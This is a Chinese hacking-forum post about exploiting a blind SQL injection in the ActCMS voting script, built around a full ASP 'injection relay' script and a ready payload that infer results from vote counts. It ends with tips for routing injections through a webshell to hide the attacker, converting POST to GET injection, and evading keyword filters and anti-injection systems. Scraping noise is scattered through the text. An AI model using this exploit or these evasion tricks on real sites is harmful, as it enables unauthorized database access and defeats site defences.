找回密码
 立即注册
查看: 2717|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
+ M( ?# |2 ^. m- Q
看到ninty大牛的blog的一篇文章
, r# \: N% u0 L; E, D链接标记[url]http://www.forjj.com/?action=show&id=80[/url]  Y; p3 l1 V. P! q( ]( T: J
关于actcms漏洞的利用  by 3x qq:381862589( L+ z) f- @9 E* ^9 k& W0 ?
转载请注明以上
6 c* I# x6 e* Z! o7 G) d漏洞文件:+ l3 x+ X4 `: Z4 x' q
/plus/vote/vote.asp  g$ X( n& ]) y" a- t- Q
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    + B' N; O9 ?# S$ y! Q: U

/ K" M: F7 B% ^3 F4 I/ y2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   4 z$ s: i# u9 }

: S0 |' @% j2 {; n# Z# S0 P% M3    response.end    3 b$ B+ b2 B/ G% Q% y* C
! l1 H3 s4 T9 Q5 p8 t: l
4    end if    1 s/ I' j0 e+ o# H

2 E! w/ @+ f( O. d5    for i=1 to request("voted").count    + G5 p& [* e6 A& o/ ]8 C) J3 _

2 q& F7 \1 C! f$ M6 y" w6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    1 \) f7 i5 r5 [0 x( Y
: F& P2 W9 s8 f$ r5 H
7    next    ! ^# k0 C5 \1 h- Y

8 v. [8 t/ j' Q+ ]8....   
( k% l1 e. {; w5 l% K$ I
$ V; R. a6 t. d" o' |9response.Redirect "index.asp?id="&id&""   
9 i% _" {! d" H) O% f. l投票结束回跳转回index.asp这个投票结果页面
8 n8 s, Z2 _& @4 b1 J0 G如果投票成功票数加1- B. p; K" L( M' E6 H) }$ u  t
            失败票数不变
  H+ `  H3 O0 \* F% e) U! n如图:" O! f, o$ T1 x
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)$ p$ M" ~3 m2 x5 V
) M# l; v3 a) c  v
2009-12-27 13:20
+ E. h; @7 l8 h) S' x+ R8 O, G0 M1 N" ^
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了4 u2 N% E  I+ k' L0 q, T

0 M# {2 C" B) {1 Z- V. F本帖隐藏的内容需要回复才可以浏览
% R/ c. @- Y' i' Y8 o- H我们用注入中转来实现这个注入具体代码如下:
; c5 I, s& N' `: }' `) _先用寂寞的刺猬大牛的注入中转生成jmget.asp
. X" K5 {; \0 K# ^注入地址:http://localhost/actcms/plus/vote/vote.asp
. N  g2 f, j" y# G3 D注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
' }1 O! b3 `2 T; l/ s% a7 g- I( @) H- a1 D% q  P& O, r
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% % j# S+ U) Z4 Q( B6 Q

# y& F3 L( G! u02JmdcwName=request("jmdcw") * H2 a+ ?# v' m+ ?

% V. K8 R) u9 m/ o03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 9 r; t; |  g+ R6 w

7 f5 N9 q2 w4 C6 T; B2 N04JmStr="id=1&voted=-1 or 1="&JmdcwName
/ g* S/ s3 s- C+ u' _0 |1 m
2 H1 v8 v- R0 U' Q  w% p, C7 R05JmStr=URLEncoding(JmStr) 1 }) z% ]7 `. J; H5 h" F: A! L
$ E3 D1 ~, `" L. Z
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
+ w6 E$ q7 N1 s  E; S$ p2 k9 M
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
( {# F! X# J! |: x9 V# m4 ]' S
% q% q2 Z/ K% L! i; k! _/ ?08testurl=testurl & "?" & JmStr 3 g0 p6 K! T6 u) U

( \# t* n9 }5 t! l9 p' H09JMUrl=JMUrl & "?" & JmStr . m/ ]# `4 s5 u% @
: S' e8 Q0 ], ]+ n$ f7 k; K
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"1 J- c- I& a4 K  r: D

. O6 r+ G1 |3 _' o9 q. E8 p, Z11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"6 H0 O6 _: @# g, j! c6 V2 l

& S& o4 h* \0 [0 m12JmCok=replace(JmCok,chr(32),"%20")  8 Y9 \. L0 q8 Y5 s+ E
8 {0 x# x( y# J- b* p: c
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
; ?7 z: K0 z) N3 w( C! k, s. I
3 F5 l$ |* d2 E0 {0 n: k' X6 |14  
/ n4 I" d& H2 R1 o2 ?0 z2 {- D5 u5 D9 E) s& _
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
3 p% U7 F* B/ `" ]( \$ O4 {* N- G& Q* c1 a0 u
16  
+ v7 m  T7 g4 {6 V" g
- P0 G1 u4 D4 b1 B6 B17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 ) P( ]2 k  A6 D
- C. Z- w; a: O4 g' g# j
18response.write test1&""&test2&""
. F( y: Z8 d8 \/ a# K. y6 a3 S  H% {% [
19  * j1 [& c' Z0 x' a  y% l* P0 D4 M
) f) z7 U. c5 [  H
20if test1=test2 then '如前后记录相等,表示失败 4 }" p0 W5 J3 x5 H) i
- ^/ z5 z4 T8 h8 _& y: Y: B9 C0 x
21  response.write "failed": }- E$ k/ B6 O8 v8 j

3 `- R! H' ?6 B+ v# }, M+ N+ W8 Q22else 3 V( H" P  C8 Z8 W9 X( u

1 y2 J, i8 u- Z( p; v% L23  response.write "succeed"- g' \  f+ W6 k- `% d
8 G% T( Y0 `$ U! T
24end if  
4 ]4 w5 Y1 H8 `1 Z# Q# J: _" }, L; J$ B3 Q, F* H
25  
( j0 _* _7 U3 S7 w- z9 b% c/ v1 `4 Q) {4 ]: @; j
26response.write "by 3x"# }" |% U3 X! [! _8 {3 v. [( ]3 D. Y
, Y7 f7 P* v. d( |2 w! v" `9 c  W3 g- R
27  
* d; A0 V2 C2 }0 _7 ]$ v' a/ L& ]: x  p- T0 m
28  $ }( F# n5 a( G, T2 M

  k: a- b+ a+ I6 a# ~29Function PostData(PostUrl,PostStr,PostCok,PostRef)   ; H5 A; L2 J  L$ w

5 B8 Y2 r) R  Z$ e30Dim Http
! P% b: M  J" J9 ^! z: J! i* Y. B  k' V" R5 A! s$ J( S
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
6 p8 I7 x& k9 W) i/ m  X8 j  Q" Y4 }! o$ q& K$ _- u4 \* l
32With Http
7 m9 D/ N8 I8 |, D2 k
" t3 y; j. p* o* j! e33  
; }. {8 Q5 e3 j8 U
3 F& A6 S% b& ^. p3 \2 l9 y" f34.Open "GET",PostUrl,False) ]  W! x( t' b2 K4 ^

% h3 E3 g. ?1 m; d$ l& R35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
' x6 I( i; Y9 {4 R) ~  |
) l  u/ ?, U/ _& r& N36.SetRequestHeader "Referer",PostRef ' V. G' }; o# K, C5 p! E

1 n* F0 w5 Y$ L2 S1 I8 ~37.SetRequestHeader "Cookie",PostCok
* d1 s6 v% J0 E: U1 Z' I1 E8 e
% K8 r# e( c; p! v* s" ]! |38.Send ()
/ e  y8 w" b0 p5 ^- E$ n/ z9 j0 N2 `3 p% ^) C2 U
39PostData = .ResponseBody
1 I4 r) g# Z4 D  G% G3 u1 h# p8 v/ N% h5 o& l3 }, Z4 E9 ~. W4 y
40End With/ c0 f; H/ t& E& b$ _1 C  O
/ h( F& l; r  c$ [
41Set Http = Nothing
! x# T* {- r  F! k0 D- g* z6 o8 J  C* L3 C- f! D$ `+ `
42PostData =bytes2BSTR(PostData) " \- {1 d* t% k! e/ o7 A
  A9 U& X! Z  q, X4 ?
43End Function; C" T  g1 |5 e# I* @
- t4 ?. F1 d/ a) B8 l* N
44  2 a$ M: Z+ d+ q8 v& P2 x+ f5 z" ?' @
4 n& s- L" h' ~8 L( m1 }, w
45  5 n. W) _2 C7 }  o7 z
4 q; E4 }' h. [& K- K! u
46Function bytes2BSTR(vIn)
- q  j+ T; v( w/ L
- M& L7 o( q" [0 v47Dim strReturn
) O1 |  Y$ F) m, `$ x2 K3 v1 l: k4 l+ U5 {* d) D8 X
48Dim I, ThisCharCode, NextCharCode 3 m4 B2 j% m( A. H
  F1 t! C) N3 \0 O+ c' y( C
49strReturn = ""
  Y6 S5 ^( P- ], e, ~2 [  y( S- E3 f! |; R8 e! B5 u
50For I = 1 To LenB(vIn) - [: z+ \" z4 a( O! u% S( J: h

% q1 o; P: \' i& D4 r  D4 T51ThisCharCode = AscB(MidB(vIn, I, 1))
9 |& `: R+ c+ _: M8 n
- ^4 C# |6 U$ q52If ThisCharCode < &H80 Then
& B4 J  A- j. R8 {+ @9 w1 `
4 m5 I) Z) b. k+ H53strReturn = strReturn & Chr(ThisCharCode)
# f3 ]! G; _3 G" A6 F/ [$ L. S* b& W' {. Y8 e) t
54Else
1 ^9 C4 L; f0 M& e
, `+ ~) y( m0 y) ?" F1 u! |55NextCharCode = AscB(MidB(vIn, I + 1, 1))
  A/ D7 I; l' p% o4 o7 s! n5 }0 i& c. T2 ]  [8 x9 v& s$ @
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
* m" J1 O1 |; A" H1 _- v% s1 U1 Y
3 D4 X1 T1 C1 o& Y; J57I = I + 1 ' ?4 U( i. A1 ]( A

& Y; M8 \$ t/ }$ d* N  ~58End If( o5 u. k9 q. e& W( [

, b* F2 x5 q) |9 Z' Q6 J/ y" h59Next
, D& k7 s, g9 k$ c% O
* T* N% {7 z/ g. z# B9 ^60bytes2BSTR = strReturn 1 t+ \; ]4 |3 @( C  W0 T
; w, l6 k$ B5 f, P  h2 x% }7 q" g
61End Function
( d/ Q% \5 q7 M- b
2 {9 b& r3 r" s7 X: B0 O! U62  . \1 p/ v; [: j# T/ ^" E

& S* p. H% Y4 A( ?8 h; q8 }0 d63Function URLEncoding(vstrin)  
% ^. T8 [7 G: F  L$ y; v$ r: _
! ^8 d/ u/ Q; U  Y3 Q0 w6 e( I64strReturn=""
/ P) V2 o& y3 l( ?( U' k" f
+ X  j% ]6 h5 B2 p( v# p65Dim i
. f( T! c+ D: \9 E- [- Q9 \
) g, Q. q% M8 \( |2 o- k6 ]66For i=1 To Len(vstrin)
4 R- ]( L! M' Q, \; n7 S; O% W" K; K2 F6 |9 j+ J2 ~
67ThisChr=Mid(vstrin,i,1) " [1 ]9 Q3 f! I$ d5 I7 L9 h1 ^

! X8 a( P" L" ~5 g" L5 i" [& P68if Abs(Asc(ThisChr))< &HFF Then5 f& R7 V2 M4 o) L, r+ L  t
7 P, z4 V6 C8 M# n
69strReturn=strReturn & ThisChr 4 M3 e0 I! ]: I7 _4 U: H9 y, V
8 v0 {$ b% I( v& ?, O
70Else
* [4 B" F- ]$ ?# I) O$ d2 K3 p" O" [+ g' r. G
71InnerCode=Asc(ThisChr)
0 X* o/ O1 n6 Z) w( o  ?' S$ v3 c, Z/ G5 ?* o
72If InnerCode<0 Then2 B8 g/ B) E) ^# I+ g  [* g( T

1 u! ^/ d, _5 b9 m! L73InnerCode=InnerCode + &H10000
1 H  b0 k4 B9 y( `/ ]' ~$ g( J3 w: I0 B5 j2 }
74End If7 {0 T; F; t$ T( P& n+ W% A, g2 Q- T6 e

/ `; H3 O5 Z# r/ P2 q" C75Hight1=(InnerCode And &HFF00) \&HFF
# {$ f" Q, ~; ?6 q" s: w  P. G, Z
+ G& Z; Y2 a% B* q- B; \76Low1=InnerCode And &HFF
2 ~) N9 v& ^3 ]  K* S% Y% D2 e. O4 ~! ]9 M8 P
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ! Z8 ]2 S1 T2 \1 H
' K: q! X) y- Y5 u& a2 |
78End if ( _; z; v4 e- m# P+ ]8 e! m

$ B# f. W1 r! y3 b3 Y79Next- l1 V; k& C7 E, B5 l
$ w+ @; i7 ^  ]4 y7 e
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 ! T$ _5 `6 {# k& F; i# S
7 T; M4 p( ?$ t6 \* t; b+ d' ^9 q
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 5 J& ^" ]1 t: [6 g: ~* I- m

- E  k! I6 m* b8 x# y; K0 x' u" l82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 6 I, C& l' v. {8 q: B! l2 {
- s$ {, M: a1 Q' n
83URLEncoding=strReturn 3 K& Y3 d' G' R8 x/ h! s  C; J
0 ~% F& F: x/ Y  {" M0 p
84End Function# k) q* W. W* j2 j$ w

; \( b% n" W5 V' K85  0 s+ W4 y0 |* |, ^/ h

! Y( L2 s" T0 x86function getSt(body)
4 |) c7 F/ D2 P7 g5 C+ ]; }+ w
8 ?) s4 v8 `9 h3 ~! a) P4 A. Y3 G87  startpot=instr(body,"投票人数:")+len("投票人数:") 8 h4 w% d7 D- n0 E% }

) g& D+ T2 y" ]1 ~88  endpot=instr(startpot,body," ") 7 ?9 k1 R9 q  B0 a8 }3 x: ~

1 c: ~! j6 D0 W% F3 @5 b$ N89  getSt=mid(body,startpot,endpot-startpot)
2 F/ O% _! W1 ~/ h1 F
& \/ F3 Z8 [! m, _90end function ( ?# L: s3 A* E4 h* d- s) ]
" `/ d% i, p3 t* |( z
91%>
5 D+ m4 h) p. [注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了7 a* C) p4 J' k1 S* w
测试下效果:0 [8 c. F- x: R$ T
投票成功:+ s6 w8 S( }" M
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
: \, U9 `' S3 i4 ~0 u
+ v& Y% W3 C4 w% u/ a( h2009-12-27 13:29
- Z: s! {  d1 z) C; {4 G1 ?投票失败: f) J% A2 C9 J1 E* p& ?
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
+ R5 t. V6 v+ m) ]- o6 ]
& |$ e, T* L) L  _; G9 [8 n( _2009-12-27 13:29- G! Q% }& W. ?# n. m/ S
-------------------------------------------------------------------------------
: ~7 h* u! C1 B! T再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以' d% H0 q/ l! ]2 J; E. q  D+ I6 Z
很抱歉。。。只能用单线程工具去注入。。。。。
$ y( _" R- k. x. h1 x3 r所以失败。。。不好意思。。。
. H/ X, d! |8 x* t2 i# g2 i-------------------------------------------------------------------------------* E- g6 T) R+ o0 M3 ~9 s' a) h1 ?

8 l4 c/ m- s/ J! Y0 F& q注入中转的一些其他应用
, m9 _; [3 Z% Y7 h# ~+ _其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
+ g3 d5 Y% z* o7 I0 N1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
1 [! i/ U% }8 X! J+ z) `/ O2.post注入转成get型的注入,方便我们使用工具来跑
& ~, g; B7 r4 x6 S) g9 \3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
7 B9 G* ^# F. s* h6 a& J9 v4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过( i' p( F. K- \

) t- F% q1 t7 O& Z; I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表